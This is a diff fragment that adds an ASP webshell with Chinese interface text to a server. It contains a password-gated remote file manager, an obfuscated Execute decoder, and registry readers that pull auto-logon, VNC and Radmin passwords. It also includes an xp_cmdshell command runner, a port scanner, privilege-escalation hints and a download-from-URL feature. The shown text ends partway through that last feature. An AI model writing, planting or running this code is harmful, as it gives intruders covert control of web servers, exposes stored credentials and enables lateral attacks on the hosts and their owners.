+If D1.exists(F) then:Form=D1(F):else:Form="":end if
+End Function
+Public Function UA(F)
+F=lcase(F)
+If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if
+End Function
+Private Sub Class_Initialize
+Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
+set D1=CreateObject(Sot(4,0))
+if Request.TotalBytes<1 then Exit Sub
+set T1=CreateObject(Sot(6,0))
+T1.Type=1 : T1.Mode =3 : T1.Open
+T1.Write Request.BinaryRead(Request.TotalBytes)
+T1.Position=0 : TDa =T1.Read : DStart=1
+DEnd=LenB(TDa)
+set D2=CreateObject(Sot(4,0))
+vbCrlf=chrB(13)&chrB(10)
+set T2=CreateObject(Sot(6,0))
+TSt=MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1)
+TLen=LenB (TSt)
+DStart=DStart+TLen+1
+while (DStart + 10) < DEnd
+DIEnd=InStrB(DStart,TDa,vbCrlf&vbCrlf)+3
+T2.Type=1 : T2.Mode =3 : T2.Open
+T1.Position=DStart
+T1.CopyTo T2,DIEnd-DStart
+T2.Position=0 : T2.Type=2 : T2.Charset ="gb2312"
+TIn=T2.ReadText : T2.Close
+DStart=InStrB(DIEnd,TDa,TSt)
+FStart=InStr(22,TIn,"name=""",1)+6
+FEnd=InStr(FStart,TIn,"""",1)
+UpName=lcase(Mid (TIn,FStart,FEnd-FStart))
+if InStr (45,TIn,"filename=""",1) > 0 then
+set TFL=new FIF
+FStart=InStr(FEnd,TIn,"filename=""",1)+10
+FEnd=InStr(FStart,TIn,"""",1)
+FStart=InStr(FEnd,TIn,"Content-Type: ",1)+14
+FEnd=InStr(FStart,TIn,vbCr)
+TFL.FileStart =DIEnd
+TFL.FileSize=DStart -DIEnd -3
+if not D2.Exists(UpName) then
+D2.add UpName,TFL
+end if
+else
+T2.Type =1 : T2.Mode =3 : T2.Open
+T1.Position=DIEnd : T1.CopyTo T2,DStart-DIEnd-3
+T2.Position=0 : T2.Type=2
+T2.Charset ="gb2312"
+SFV=T2.ReadText
+T2.Close
+if D1.Exists(UpName) then
+D1(UpName)=D1(UpName)&", "&SFV
+else
+D1.Add UpName,SFV
+end if
+end if
+DStart=DStart+TLen+1
+wend
+TDa=""
+set T2 =nothing
+End Sub
+Private Sub Class_Terminate
+if Request.TotalBytes>0 then
+D1.RemoveAll:D2.RemoveAll
+set D1=nothing:set D2=nothing
+T1.Close:set T1 =nothing
+end if
+End Sub
+
+End Class
+Class FIF
+dim FileSize,FileStart
+Private Sub Class_Initialize
+FileSize=0
+FileStart= 0
+End Sub
+Public function SaveAs(F)
+dim T3
+SaveAs=true
+if trim(F)="" or FileStart=0 then exit function
+set T3=CreateObject(Sot(6,0))
+T3.Mode=3 : T3.Type=1 : T3.Open
+T1.position=FileStart
+T1.copyto T3,FileSize
+T3.SaveToFile F,2
+T3.Close
+set T3=nothing
+SaveAs=false
+end function
+End Class
+Class LBF
+Dim CF
+Private Sub Class_Initialize
+SET CF=CreateObject(Sot(0,0))
+End Sub
+Private Sub Class_Terminate
+Set CF=Nothing
+End Sub
+Function ShowDriver()
+For Each D in CF.Drives
+ o"<tr><td id=d onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><font face='wingdings'>8</font> <a href='javascript:ShowFolder("""&D.DriveLetter&":\\"")'>本地磁盘 ("&D.DriveLetter&":)</a></td></tr>" 
+Next
+End Function
+
+
+Function Show1File(Path)
+Set FOLD=CF.GetFolder(Path)
+i=0
+SI="<table width='100%' border='0' cellspacing='0' cellpadding='6'><tr>" 
+For Each F in FOLD.subfolders
+SI=SI&"<td height=10 width=17% align=center><div style='border:1px solid "&BorderColor&";padding-bottom:4px' id=d><a href='javascript:ShowFolder("""&RePath(Path&"\"&F.Name)&""")' title=""进入""><font face='wingdings' size='6'>0</font><br>"&F.Name&"</a><br><a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""CopyFolder"")' onclick='return yesok()' class='am' title='复制'>Copy</a> <a href='javascript:FullForm("""&Replace(Path&"\"&F.Name,"\","\\")&""",""DelFolder"")' onclick='return yesok()' class='am' title='删除'>Del</a> <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""MoveFolder"")' onclick='return yesok()' class='am' title='移动'>Move</a>"
+i=i+1
+If i mod 6=0 then SI=SI&"</tr><tr>"
+Next
+SI=SI&"</tr><tr><td height=2></td></tr></table>"
+o SI &"<hr/>" : SI="":i=0
+SI="<table width='100%' align=center><tr><td id=s><b id=x>Filename</b></td><td id=s height=22><b id=x>Size</b></td><td id=s><b id=x>Type</b></td><td id=s><b id=x>Operating</b></td><td id=s><b id=x>Last Modified</b></td><td></td>"
+For Each L in Fold.files
+
+SI=SI&"<tr><td height='20' id=d><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DownFile"");' title='下载'><font face='wingdings' size='4'>2</font> "&L.Name&"</a></td><Td id=d>"&clng(L.size/1024)&"K</td><Td id=d>"&L.Type&"</td><Td id=d><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""EditFile"")' class='am' title='编辑'>Edit </a>"
+
+
+Si=Si&"<a onclick=""window.open('?Action=EditPower&PowerPath="&RepAth(PaTh&"\"&L.nAme)&"','EditPower','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=300,height=200')"" href='###' class='am' title='权限'>权限</a>"
+Dim EditOOK
+EditOOK=1
+EditOOV=l.Attributes
+If EditOOV >= 128 Then
+EditOOV = EditOOV - 128
+End If
+If EditOOV >= 64 Then
+EditOOV = EditOOV - 64
+End If
+If EditOOV >= 32 Then
+EditOOV = EditOOV - 32
+End If
+If EditOOV >= 16 Then
+EditOOV = EditOOV - 16
+End If:If EditOOV >= 8 Then
+EditOOV = EditOOV - 8
+End If
+If EditOOV >= 4 Then
+EditOOV = EditOOV - 4
+EditOOK=0
+End If
+If EditOOV >= 2 Then
+EditOOV = EditOOV - 2
+EditOOK=0
+End If
+If EditOOV >= 1 Then
+EditOOV = EditOOV - 1
+EditOOK=0
+End If
+if EditOOK=0 then
+si=si&"<font face='webdings' size='3' color=red>x</font>"
+else
+si=si&"√"
+end if
+si=si&"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DelFile"")' onclick='return yesok()' class='am' title='删除'> Del</a> <a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""CopyFile"")' class='am' title='复制'>Copy</a> <a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""MoveFile"")' class='am' title='移动'>Move</a></td><td id=d>"&replace(L.DateLastModified,"/","-")&""
+i=i+1
+Next
+o SI&""
+
+if session("servec")=1 then
+session("servec")=session("servec")+1
+else
+if Action<>"" then session("servec")=session("servec")+1
+end if
+Set FOLD=Nothing
+End function
+
+Function EditFile(Path)
+If Request("Action2")="Post" Then
+Set T=CF.CreateTextFile(Path)
+T.WriteLine Request.form("content")
+T.close
+Set T=nothing
+SI="<center><br><br><br>恭喜文件"&Path&"保存成功！</center>"
+o SI
+o BackUrl
+Response.End
+End If
+If Path<>"" Then
+Set T=CF.opentextfile(Path, 1, False)
+Txt=HTMLEncode(T.readall) 
+T.close
+Set T=Nothing
+Else
+Path=Session("FolderPath")&"hack.asp":Txt="新建文件"
+End If
+o "<Form action='"&URL&"?Action2=Post' method='post' name='EditForm'><input name='Action' value='EditFile' Type='hidden'><input name='FName' value='"&Path&"' style='width:100%'><br><textarea name='Content' style='width:100%;height:450'>"&Txt&"</textarea><br><hr><input name='goback' type='button' value='Back' onclick='history.back();'>&nbsp;&nbsp;&nbsp;<input name='reset' type='reset' value='Reset'>&nbsp;&nbsp;&nbsp;<input name='submit' type='submit' value='Save'></form>"
+End Function
+Function DelFile(Path)
+If CF.FileExists(Path) Then
+CF.DeleteFile Path
+SI="<center><br><br><br>恭喜文件 "&Path&" 删除成功！</center>"
+SI=SI&BackUrl
+o SI
+End If
+End Function
+Function CopyFile(Path)
+Path=Split(Path,"||||")
+If CF.FileExists(Path(0)) and Path(1)<>"" Then
+CF.CopyFile Path(0),Path(1)
+SI="<center><br><br><br>恭喜文件"&Path(0)&"复制成功！</center>"
+SI=SI&BackUrl
+o SI 
+End If
+End Function
+Function MoveFile(Path)
+Path=Split(Path,"||||")
+If CF.FileExists(Path(0)) and Path(1)<>"" Then
+CF.MoveFile Path(0),Path(1)
+SI="<center><br><br><br>恭喜文件"&Path(0)&"移动成功！</center>"
+SI=SI&BackUrl
+o SI 
+End If
+End Function
+Function DelFolder(Path)
+If CF.FolderExists(Path) Then
+CF.DeleteFolder Path
+SI="<center><br><br><br>恭喜目录"&Path&"删除成功！</center>"
+SI=SI&BackUrl
+o SI
+End If
+End Function
+Function CopyFolder(Path)
+Path=Split(Path,"||||")
+If CF.FolderExists(Path(0)) and Path(1)<>"" Then
+CF.CopyFolder Path(0),Path(1)
+SI="<center><br><br><br>恭喜目录"&Path(0)&"复制成功！</center>"
+SI=SI&BackUrl
+o SI
+End If
+End Function
+Function MoveFolder(Path)
+Path=Split(Path,"||||")
+If CF.FolderExists(Path(0)) and Path(1)<>"" Then
+CF.MoveFolder Path(0),Path(1)
+SI="<center><br><br><br>恭喜目录"&Path(0)&"移动成功！</center>"
+SI=SI&BackUrl
+o SI
+End If
+End Function
+Function NewFolder(Path)
+If Not CF.FolderExists(Path) and Path<>"" Then
+CF.CreateFolder Path
+SI="<center><br><br><br>恭喜目录"&Path&"新建成功！</center>"
+SI=SI&BackUrl
+o SI
+End If
+End Function
+End Class
+Execute(ny(x))
+Function ny(ed):    For i = 1 To Len(ed)
+If Mid(ed, i, 1) <> "　" Then
+If Asc(Mid(ed, i, 1)) < 32 Or Asc(Mid(ed, i, 1)) > 126 Then
+Else:zx = Asc(Mid(ed, i, 1)) -b
+If zx > 126 Then
+zx = zx -95
+ElseIf zx < 32 Then: zx = zx + 95
+End If:t = t & Chr(zx):End If
+Else:End If:Next:ny = t:End Function
+
+
+'=========密码阶段=========================
+If Session("webadministrators")<>UserPass Then
+	If Request.Form("LP")<>"" Then
+	If Request.Form("LP")=UserPass Then
+	Session("webadministrators")=UserPass
+	Cosnt E
+	response.redirect url
+else
+o"<br><br><br><div align=center><font color=#FF0000>对不起，您输入的密码有误，系统不能让你登陆！</font></div>"
+end if
+else
+o "<center><div style='width:500px;border:1px solid #222;padding:22px;margin:100px;'><br><form action='"&url&"' method='post'><b>PassWord</b>：<input name='LP' type='password' size='22'> <input type='submit' value='登录'><hr>http://hi.baidu.com/r00ts<p/><table width=""450"" border=""1"" cellpadding=""10""><tr><td><div align=center></td></tr></table></center>"
+end if
+Response.write 
+response.end
+end If
+
+sub getTerminalInfo()
+on error resume next
+dim wsh
+set wsh=createobject("Wscript.Shell")
+o "<b id=x>【Detection Network】</b><br><hr>"
+EnableTCPIPKey="HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters"
+isEnable=Wsh.Regread(EnableTcpipKey)
+If isEnable=0 or isEnable="" Then
+Notcpipfilter=1
+End If
+ApdKey="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind"
+Apds=Wsh.RegRead(ApdKey)
+If IsArray(Apds) Then 
+For i=LBound(Apds) To UBound(Apds)-1
+ApdB=Replace(Apds(i),"\Device\","")
+o "网卡"&i&"的序列为:"&ApdB&"<br>"
+Path="HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\"
+IPKey=Path&ApdB&"\IPAddress"
+IPaddr=Wsh.Regread(IPKey)
+If IPaddr(0)<>"" Then
+For j=Lbound(IPAddr) to Ubound(IPAddr)
+o "<font face=webdings>8</font>&nbsp;IP地址"&j&"为:"&IPAddr(j)&"<br>"
+Next
+Else
+o "<font face=webdings>8</font>&nbsp;IP地址无法读取或没有设置<br>"
+End if
+GateWayKey=Path&ApdB&"\DefaultGateway"
+GateWay=Wsh.Regread(GateWayKey)
+If isarray(GateWay) Then
+For j=Lbound(Gateway) to Ubound(Gateway)
+o "<font face=webdings>8</font>&nbsp;网关"&j&"为:"&Gateway(j)&"<br>"
+Next
+Else
+o "<font face=webdings>8</font>&nbsp;默认网关无法读取或没有设置<br>"
+End if
+DNSKey=Path&ApdB&"\NameServer"
+DNSstr=Wsh.RegRead(DNSKey)
+If DNSstr<>"" Then
+o "<font face=webdings>8</font>&nbsp;网卡DNS为:"&DNSstr&"<br>"
+Else
+o "<font face=webdings>8</font>&nbsp;默认DNS无法读取或没有设置<br>"
+End If
+if Notcpipfilter=1 Then 
+o "<font face=webdings>8</font>&nbsp;没有Tcp/IP筛选<br>"
+else
+ETK="\TCPAllowedPorts"
+EUK="\UDPAllowedPorts"
+FullTCP=Path&ApdB&ETK
+FullUDP=path&ApdB&EUK
+tcpallow=Wsh.RegRead(FullTCP)
+If tcpallow(0)="" or tcpallow(0)=0 Then
+o "<font face=webdings>8</font>&nbsp;允许的TCP端口为:全部<br>"
+RRS SI
+Else
+o "<font face=webdings>8</font>&nbsp;允许的TCP端口为:"
+For j = LBound(tcpallow) To UBound(tcpallow)
+o tcpallow(j)&","
+Next
+o "<Br>"
+End if
+udpallow=Wsh.RegRead(FullUDP)
+If udpallow(0)="" or udpallow(0)=0 Then
+o "<font face=webdings>8</font>&nbsp;允许的UDP端口为:全部<br>"
+Else
+o "<font face=webdings>8</font>&nbsp;允许的UDP端口为:"
+for j = LBound(udpallow) To UBound(udpallow)
+o UDPallow(j)&","
+next
+o "<br>"
+End if
+End if
+o "-----------------------------------------------------------<br>"
+Next
+end if
+o "<br><br><b id=x>【Detection Special Port】</b><br><hr>"
+Telnetkey="HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\TelnetServer\1.0\TelnetPort"
+TlntPort=Wsh.RegRead(TelnetKey)
+if TlntPort="" Then Tlnt="23(默认设置)"
+o "<font face=webdings>8</font>&nbsp;Telnet端口:"&Tlntport&"<br>"
+TermKey="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber"
+TermPort=Wsh.RegRead(TermKey)
+If TermPort="" Then TermPort="无法读取.请确认是否为Windows Server版本主机"
+o "<font face=webdings>8</font>&nbsp;Terminal Service端口为:"&TermPort&"<br>"
+pcAnywhereKey="HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcAnywhere\CurrentVersion\System\TCPIPDataPort"
+PAWPort=Wsh.RegRead(pcAnywhereKey)
+If PAWPort="" then PAWPort="无法获取.请确认主机是否安装pcAnywhere"
+o "<font face=webdings>8</font>&nbsp;PcAnywhere端口为:"&PAWPort&"<br>"
+o "------------------------------------------------------------<br>"
+Set wsX = Server.CreateObject("WScript.Shell")
+Dim terminalPortPath, terminalPortKey, termPort
+Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey
+Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword
+terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
+terminalPortKey = "PortNumber"
+termPort = wsX.RegRead(terminalPortPath & terminalPortKey)
+o"终端服务端口及自动登录<ol>"
+If termPort = "" Or Err.Number <> 0 Then 
+o"无法得到终端服务端口, 请检查权限是否已经受到限制.<br/>"
+ Else
+o"当前终端服务端口: " & termPort & "<br/>"
+End If
+autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"
+autoLoginEnableKey = "AutoAdminLogon"
+autoLoginUserKey = "DefaultUserName"
+autoLoginPassKey = "DefaultPassword"
+isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey)
+If isAutoLoginEnable = 0 Then
+Else
+autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey)
+o"自动登录的系统帐户: " & autoLoginUsername & "<br>"
+autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey)
+If Err Then
+Err.Clear
+o"False"
+End If
+o"自动登录的帐户密码: " & autoLoginPassword & "<br>"
+End If
+o"</ol>"
+o "<br><b id=x>【Detection System Software】</b><br><hr>"
+SoftPath=Wsh.Environment.item("Path")
+Pathinfo=lcase(SoftPath)
+o "系统软件支持:<Br>"
+if Instr(Pathinfo,"perl") Then o "<font face=webdings>8</font>&nbsp;Perl脚本:支持<br>"
+if instr(Pathinfo,"java") Then o "<font face=webdings>8</font>&nbsp;Java脚本:支持<br>"
+if instr(Pathinfo,"microsoft sql server") Then o "<font face=webdings>8</font>&nbsp;MSSQL数据库服务:支持<br>"
+if instr(Pathinfo,"mysql") Then o "<font face=webdings>8</font>&nbsp;MySQL数据库服务:支持<br>"
+if instr(Pathinfo,"oracle") Then o "<font face=webdings>8</font>&nbsp;Oracle数据库服务:支持<br>"
+if instr(Pathinfo,"cfusionmx7") Then o "<font face=webdings>8</font>&nbsp;CFM服务器:支持<br>"
+if instr(Pathinfo,"pcanywhere") Then o "<font face=webdings>8</font>&nbsp;赛门铁克PcAnywhere控制:支持<br>"
+if instr(Pathinfo,"Kill") Then o "<font face=webdings>8</font>&nbsp;Kill杀毒软件:支持<br>"
+if instr(Pathinfo,"kav") Then o "<li> 金山系列杀毒软件:支持<br>"
+if instr(Pathinfo,"antivirus") Then o "<font face=webdings>8</font>&nbsp;赛门铁克杀毒软件:支持<br>"
+if instr(Pathinfo,"rising") Then o "<font face=webdings>8</font>&nbsp;瑞星系列杀毒软件:支持<br>"
+paths=split(SoftPath,";")
+o "------------------------------------<br>"
+o "系统当前路径变量:<br>"
+For i=Lbound(paths) to Ubound(paths)
+o "<font face=webdings>8</font>&nbsp;"&paths(i)&"<br>"
+next
+o "<br><br><B id=x>【Detection System Setting】</b><br><hr size=1>"
+pcnamekey="HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName"
+pcname=wsh.RegRead(pcnamekey)
+if pcname="" Then pcname="无法读取主机名.<br>"
+o "<font face=webdings>8</font>&nbsp;当前主机名为:"&pcname&"<br>"
+AdminNameKey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultUserName"
+AdminName=wsh.RegRead(AdminNameKey)
+if adminname="" Then AdminName="Administrator"
+o "<font face=webdings>8</font>&nbsp;默认管理员用户名为:"&AdminName&"<br>"
+isAutologin="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon"
+Autologin=Wsh.RegRead(isAutologin)
+if Autologin=0 or Autologin="" Then
+o "<font face=webdings>8</font>&nbsp;用户自动登入:未启用<br>"
+Else
+o "<font face=webdings>8</font>&nbsp;用户自动登入:启用<br>"
+Admin=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName")
+Passwd=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword")
+o "<font face=webdings>8</font>&nbsp;用户名:"&Admin&"<br>"
+o "<font face=webdings>8</font>&nbsp;密码:"&Passwd&"<br>"
+End if
+displogin=wsh.regRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DontDisplayLastUserName")
+If displogin="" or displogin=0 Then disply="是" else disply="否"
+o "<font face=webdings>8</font>&nbsp;是否显示上次登入用户:"&disply&"<br>"
+NTMLkey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\NTML"
+ntml=Wsh.RegRead(NTMLkey)
+if ntml="" Then Ntml=1
+o "<font face=webdings>8</font>&nbsp;Telnet Ntml设置为:"&ntml&"<br>"
+hk="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count"
+kk=wsh.RegRead(hk)
+o"<font face=webdings>8</font>&nbsp;当前活动网卡为:"&kk&"<br>"
+o "------------------------------------<br><br><br>"
+o "<b id=x>【Detection Server Vulnerability】</b><br><hr>"
+Set objComputer = GetObject("WinNT://.")
+Set sa = Server.CreateObject("Shell.Application")
+objComputer.Filter = Array("Service")
+On Error Resume Next
+For Each objService In objComputer
+if objService.Name="Serv-U" Then
+if objService.ServiceAccountName="LocalSystem" Then
+o "<font face=webdings>8</font>&nbsp;服务器中有Serv-U安装,且以LocalSystem权限启动,可以考虑用su.exe工具提权<br>"
+End if
+End if
+if lcase(objService.Name)="apache" Then
+if objService.ServiceAccountName="LocalSystem" Then
+If instr(Request.ServerVariables("SERVER_SOFTWARE"),"Apache") Then
+o "<font face=webdings>8</font>&nbsp;当前WEB服务器为Apache.可以直接提权<br>"
+Else
+o "<font face=webdings>8</font>&nbsp;服务器中有Apache服务存在,启动权限为LocalSystem,可以考虑PHP木马<br>"
+End if
+end if
+End if
+if instr(lcase(objService.Name),"tomcat") Then
+if objService.ServiceAccountName="LocalSystem" Then
+o "<font face=webdings>8</font>&nbsp;服务器中有Tomcat,且以LocalSystem权限启动,可以考虑使用Jsp木马提权<br>"
+End if
+End if
+if instr(lcase(objService.Name),"winmail") Then
+if objService.ServiceAccountName="LocalSystem" Then
+o "<font face=webdings>8</font>&nbsp;服务器中有Magic Winmail,且以LocalSystem权限启动,可以查找WebMail目录,并且写入PHP木马<br>"
+End if
+End if
+Next
+Set fso=Server.Createobject("Scripting.FileSystemObject")
+Sysdrive=left(Fso.GetspecialFolder(2),2)
+servername=wsh.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName")
+If fso.FileExists(sysdriver&"\Documents And Settings\All Users\Application Data\Symantec\"&servername&".cif") Then
+o "<font face=webdings>8</font>&nbsp;发现pcAnywhere密码文件,可以从默认目录下载并破解得到pcAnywhere密码"
+End if 
+End Sub
+sub ReadREG()
+o "<br><form method=post><table width=800 border=0 align=center><tr><td id=s colspan=3 align=center><b id=x>Read Regedit</B></td></tr><tr><td id=d><input type=hidden value=ReadReg name=theAct><select onChange='this.form.thePath.value=this.value;'><option value=''>选择自带的键值</option><option value='HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName'>ComputerName</option><option value=""HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Linkage\Bind"">网卡列表</option><option value=""HKLM\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter"">Radmin密码</option><option value=""HKLM\SYSTEM\RAdmin\v2.0\Server\Parameters\Port"">Radmin端口</option><option value=""HKCU\Software\ORL\WinVNC3\Password"">VNC3密码</option><option value=""HKCU\Software\ORL\WinVNC3\PortNumber"">VNC3端口</option><option value=""HKLM\SOFTWARE\RealVNC\WinVNC4\Password"">VNC4密码</option><option value=""HKLM\SOFTWARE\RealVNC\WinVNC4\PortNumber"">VNC4端口</option><option value=""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber"">3389端口</option><option value=""HKLM\SOFTWARE\Symantec\pcAnywhere\CurrentVersion\System\TCPIPDataPort"">PcAnyW数据端口</option><option value=""HKLM\SOFTWARE\Symantec\pcAnywhere\CurrentVersion\System\TCPIPStatusPort"">PcAnyW状态端口</option><option value='HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\EnableSecurityFilters'>tcp/ip过滤1</option><option value='HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip\EnableSecurityFilters'>tcp/ip过滤2</option><option value='HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\EnableSecurityFilters'>tcp/ip过滤3</option><option value='HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent\LogPath'>Schedule Log</option><option value='HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\3389:TCP'>防火开放</option><option value='HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{8A465128-8E99-4B0C-AFF3-1348DC55EB2E}\UDPAllowedPorts'>允许开放的UDP端口</option><option value='HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{8A465128-8E99-4B0C-AFF3-1348DC55EB2E}\TCPAllowedPorts'>允许开放的TCP端口</option></select></td><td id=d><input name=thePath value='' size=80></td><td><input type=button value='读取键值' onclick='this.form.submit()'></td></tr></table></form>"
+o"<p><hr>"
+if Request("thePath")<>"" then
+On Error Resume Next
+Set wsX = Server.CreateObject("WScript.Shell")
+thePath=Request("thePath")
+theArray=wsX.RegRead(thePath)
+If IsArray(theArray) Then
+For i=0 To UBound(theArray)
+o "<li>" & theArray(i)
+Next
+Else
+o "<li>" & theArray
+End If
+end if
+end sub
+Function adminab()
+Response.Expires=0
+on error resume next '查找Administrators组帐号
+Set tN=server.createObject("Wscript.Network")
+Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")
+For Each admin in objGroup.Members
+o admin.Name&"<br>"
+Next
+if err then
+o "人品有问题:Wscript.Network"
+end if
+End Function
+
+FuncTion mssql()
+SI="<br><form name=form method=post action=""""><table width=""85%"" align='center'><tr align=center><Td id=s><b id=x>MSSQL Commander</b></td></tr><tr align='center'><td id=d><b id=x>Command：</b><input type=text name=MMD size=35 >&nbsp;<b id=x>UserName：</b><input type=text name=U value=sa>&nbsp;<b id=x>Password：</b><input type=text name=P VALUES=123456>&nbsp;<input type=submit value=Execute></td></tr></table></form>":o SI:SI="":If trim(request.form("MMD"))<>"" Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=sERvEr.crEATeobjECT("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id:strQuery = "exec master.dbo.xp_cMdsHeLl '" & request.form("MMD") & "'":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," ","&nbsp;"):strResult = Replace(strResult,"<","&lt;"):strResult = Replace(strResult,">","&gt;"):strResult = Replace(strResult,chr(13),"<br>"):End if:set adoConn = Nothing:o request.form("MMD") & "<br>"& strResult:end FuncTion
+
+sub ScanPort()
+Server.ScriptTimeout=7776000
+if request.Form("port")="" then
+PortList="21,1433,3389,43958,4899,3306,5631,5632"
+else
+PortList=request.Form("port")
+end if
+if request.Form("ip")="" then
+IP="127.0.0.1"
+else
+IP=request.Form("ip")
+end if
+o"<form name='form1' method='post' action='' onSubmit='form1.submit.disabled=true;'><table width=""60%"" align='center'><tr align=center><td id=s colspan=2><B id=x>Port Scan</B></td></tr><TR><TD id=d><b id=x>Scan&nbsp;&nbsp;IP:</b></td><Td id=d><input name='ip' type='text' class='TextBox' id='ip' value='"&IP&"' size='60'></TD></tr><Tr><td id=d><b id=x>Port List:</b></td><Td id=d><input name='port' type='text' class='TextBox' size='60' value='"&PortList&"'></td></tr><tr><td id=d colspan=2><input name='submit' type='submit' class='buttom' value=' Scan '><input name='scan' type='hidden' id='scan' value='111'></td></tr></table></form>"
+If request.Form("scan") <> "" Then
+timer1=timer
+o("<b>扫描报告:</b><br><hr>")
+tmp=Split(request.Form("port"),",")
+ip=Split(request.Form("ip"),",")
+For hu=0 to Ubound(ip)
+If InStr(ip(hu),"-")=0 Then
+For i=0 To Ubound(tmp)
+If Isnumeric(tmp(i)) Then 
+Call Scan(ip(hu), tmp(i))
+Else
+seekx=InStr(tmp(i), "-")
+If seekx > 0 Then
+startN=Left(tmp(i), seekx - 1 )
+endN=Right(tmp(i), Len(tmp(i)) - seekx )
+If Isnumeric(startN) and Isnumeric(endN) Then
+For j=startN To endN
+Call Scan(ip(hu), j)
+Next
+Else
+o(startN&" or "&endN&" is not number<br>")
+End If
+Else
+o(tmp(i)&" is not number<br>")
+End If
+End If
+Next
+Else
+ipStart=Mid(ip(hu),1,InStrRev(ip(hu),"."))
+For xxx=Mid(ip(hu),InStrRev(ip(hu),".")+1,1) to Mid(ip(hu),InStr(ip(hu),"-")+1,Len(ip(hu))-InStr(ip(hu),"-"))
+For i=0 To Ubound(tmp)
+If Isnumeric(tmp(i)) Then 
+Call Scan(ipStart&xxx, tmp(i))
+Else
+seekx=InStr(tmp(i), "-")
+If seekx > 0 Then
+startN=Left(tmp(i), seekx - 1 )
+endN=Right(tmp(i), Len(tmp(i)) - seekx )
+If Isnumeric(startN) and Isnumeric(endN) Then
+For j=startN To endN
+Call Scan(ipStart&xxx,j)
+Next
+Else
+o(startN&" or "&endN&" is not number<br>")
+End If
+Else
+o(tmp(i)&" is not number<br>")
+End If
+End If
+Next
+Next
+End If
+Next
+timer2=timer
+thetime=cstr(int(timer2-timer1))
+o"<hr>Process in "&thetime&" s"
+END IF
+end sub
+Sub Scan(targetip, portNum)
+On Error Resume Next
+set conn=Server.CreateObject(Sot(5,0))
+connstr="Provider=SQLOLEDB.1;Data Source="&targetip &","& portNum &";User ID=lake2;Password=;"
+conn.ConnectionTimeout=1
+conn.open connstr
+If Err Then
+If Err.number=-2147217843 or Err.number=-2147467259 Then
+If InStr(Err.description, "(Connect()).") > 0 Then
+o(targetip&":"&portNum&".........关闭<br>")
+Else
+o(targetip&":"&portNum&".........<font color=red>开放</font><br>")
+End If
+End If
+End If
+End Sub
+
+Function upload()
+response.write "下载到服务器:无回显...为了节省.所以无回显<form method=post><input name=theUrl value='http://' size=80><input type=submit value=' 下载 '><br/><input name=thePath value=""" & server.HtmlEncode(Server.MapPath(".")) & """ size=80><input type=checkbox name=overWrite value=2>存在覆盖<input type=hidden value=downFromUrl name=theAct></form><hr/>"
+        If isDebugMode = False Then
+            On Error Resume Next
+        End If
